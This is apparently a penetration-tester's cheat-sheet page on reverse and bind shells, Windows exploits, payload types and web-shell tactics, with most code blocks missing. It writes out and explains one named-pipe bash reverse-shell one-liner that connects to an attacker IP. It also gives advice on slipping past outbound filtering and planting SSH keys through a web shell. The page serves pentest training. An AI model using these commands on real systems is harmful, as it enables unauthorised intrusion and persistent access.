Shells
Best Resource:
Reverse Shells
Listeners
Always set up a netcat listener before executing a bash reverse shell
You can also use multi/handler from metasploit to catch incoming reverse shells
If a reverse shell does not connect back on your first listener port, try a port that is already open on the target service list. Some environments allow outbound traffic only to ports that look expected, such as
22,80, or443.
Netcat Reverse Shell
Standard netcat reverse shell (only works with some versions of nc)
Bash Reverse Shells
Good first attempt at a shell.
Best bash reverse shell option, has the highest percentage success rate.
Perl Reverse Shell
PHP Reverse Shell
Standard PHP reverse shell typically used for injection on the terminal environment or into a web application
This php shell is used when you can inject php code into a theme file of a CMS (think wordpress)
Also have the option of attempting p0wny.php shell for wordpress
Most effective is the php-reverse-shell.php when it comes to wordpress and php reverse shells in general
Python Reverse Shell
Troubleshooting lessons
Try the absolute paths when
python3orpythonare not working to trigger your reverse shellStandard python reverse shell
Python
Python 3
Python - Inline
Python - Script
Ruby Reverse Shell
Linux ruby reverse shell
Windows ruby reverse shell
War Reverse Shell
This will generate a war file for upload on the Tomcat CMS. Once uploaded click on the shell option to activate it.
Catch this shell with multi/handler or just nc
AT
SED
Reverse shell over the Telnet Protocol
This reverse shell makes a special character file (mknod) uses telnet to call back and direct standard output to the character file via the binary /bin/sh
Powershell
Bind Shells
Netcat Bind Shell
This is executed on the target box and waits for an incoming connection (only works with some versions of nc that support
-e)
This is executed on your attack box to connect to the listener on the target
Named Pipe Bind Shell
When -e is not available, use a FIFO named pipe:
Server (target):
Client (attack box):
One-Liner Breakdowns
Netcat/Bash Reverse Shell One-Liner
rm -f /tmp/f;
Remove /tmp/f if it exists. -f ignores nonexistent files.
mkfifo /tmp/f;
Create a FIFO named pipe file at /tmp/f.
cat /tmp/f |
Read the named pipe and pipe its output to the next command.
/bin/bash -i 2>&1 |
Start an interactive bash shell (-i), redirect stderr to stdout (2>&1), pipe output onward.
nc 10.10.14.12 7777 > /tmp/f
Connect to the attacker on port 7777 and redirect received data back into the named pipe, completing the loop.
Infiltrating Windows
Prominent Windows Exploits
MS08-067
Critical SMB flaw exploited by the Conficker worm and Stuxnet. Affects many Windows revisions.
EternalBlue (MS17-010)
NSA exploit leaked by Shadow Brokers. Used in WannaCry and NotPetya. SMBv1 code execution. Infected 200,000+ hosts in 2017.
PrintNightmare
RCE in Windows Print Spooler. With valid creds or a low-priv shell, install a printer driver that grants SYSTEM access.
BlueKeep (CVE-2019-0708)
RCE in Microsoft's RDP protocol via a miscalled channel. Affects Windows 2000 through Server 2008 R2.
Sigred (CVE-2020-1350)
Flaw in DNS SIG resource record parsing. Exploiting the domain's DNS server (often the primary DC) yields Domain Admin.
SeriousSam (CVE-2021-36934)
Permissions issue on C:\Windows\system32\config. Non-elevated users can read SAM database from volume shadow copy backups, dumping credentials.
Zerologon (CVE-2020-1472)
Cryptographic flaw in MS-NRPC. ~256 guesses at a computer account password grants domain-level access in seconds.
Windows Fingerprinting
TTL-based identification:
Nmap OS detection:
Look for OS CPE: cpe:/o:microsoft:windows_10 and OS details: in the output. If detection fails, try -A -Pn. Firewalls can obscure results — use multiple checks to confirm.
Banner grab:
Windows Payload File Types
DLL
.dll
Inject malicious DLL or hijack vulnerable library for priv esc / UAC bypass
Batch
.bat
Automate commands via the command-line interpreter (open ports, connect back, enumerate)
VBS
.vbs
Client-side scripting for phishing (macro-enabled docs, clicking cells to trigger Windows scripting engine)
MSI
.msi
Craft payload as Windows installer package, execute with msiexec for elevated reverse shell
PowerShell
.ps1
Dynamic .NET-based scripting — most versatile for shell access and post-exploitation
Payload Generation Resources
Swiss-army knife for enumeration, payload generation, exploitation, and post-exploitation
Cheat sheets for payload generation and general methodology
Alternative C2 framework with unique payload generation
Offensive PowerShell framework — implants, shells, and utilities
Obfuscated binary generation for Windows targets
Payload Transfer Methods
Impacket —
psexec,smbclient,wmi, Kerberos, and SMB serverSMB — Leverage domain shares,
C$,ADMIN$for payload hosting, transfer, and data exfiltrationRemote MSF Execution — Many exploit modules build, stage, and execute payloads automatically
Other Protocols — FTP, TFTP, HTTP/S for file upload to the host
Web Shell Considerations
Web apps may auto-delete uploaded files after a set period
Limited interactivity — no proper file system navigation, chaining commands may fail
If outbound callbacks are blocked and the webshell runs as a user with SSH access, write your public key to that user's
authorized_keysand connect inbound over SSH instead of forcing a reverse shell.Greater chance of leaving artifacts for defenders
Best practice: establish a reverse shell from the web shell, then delete the uploaded payload
Document all payload names, file hashes (SHA1/MD5), and upload locations for your report
Web Shell to SSH When Reverse Shells Fail
Base64 the public key first so special characters survive URL encoding and shell parsing:
From the webshell, create .ssh and append the decoded key:
Then connect over SSH:
Groovy
Last updated
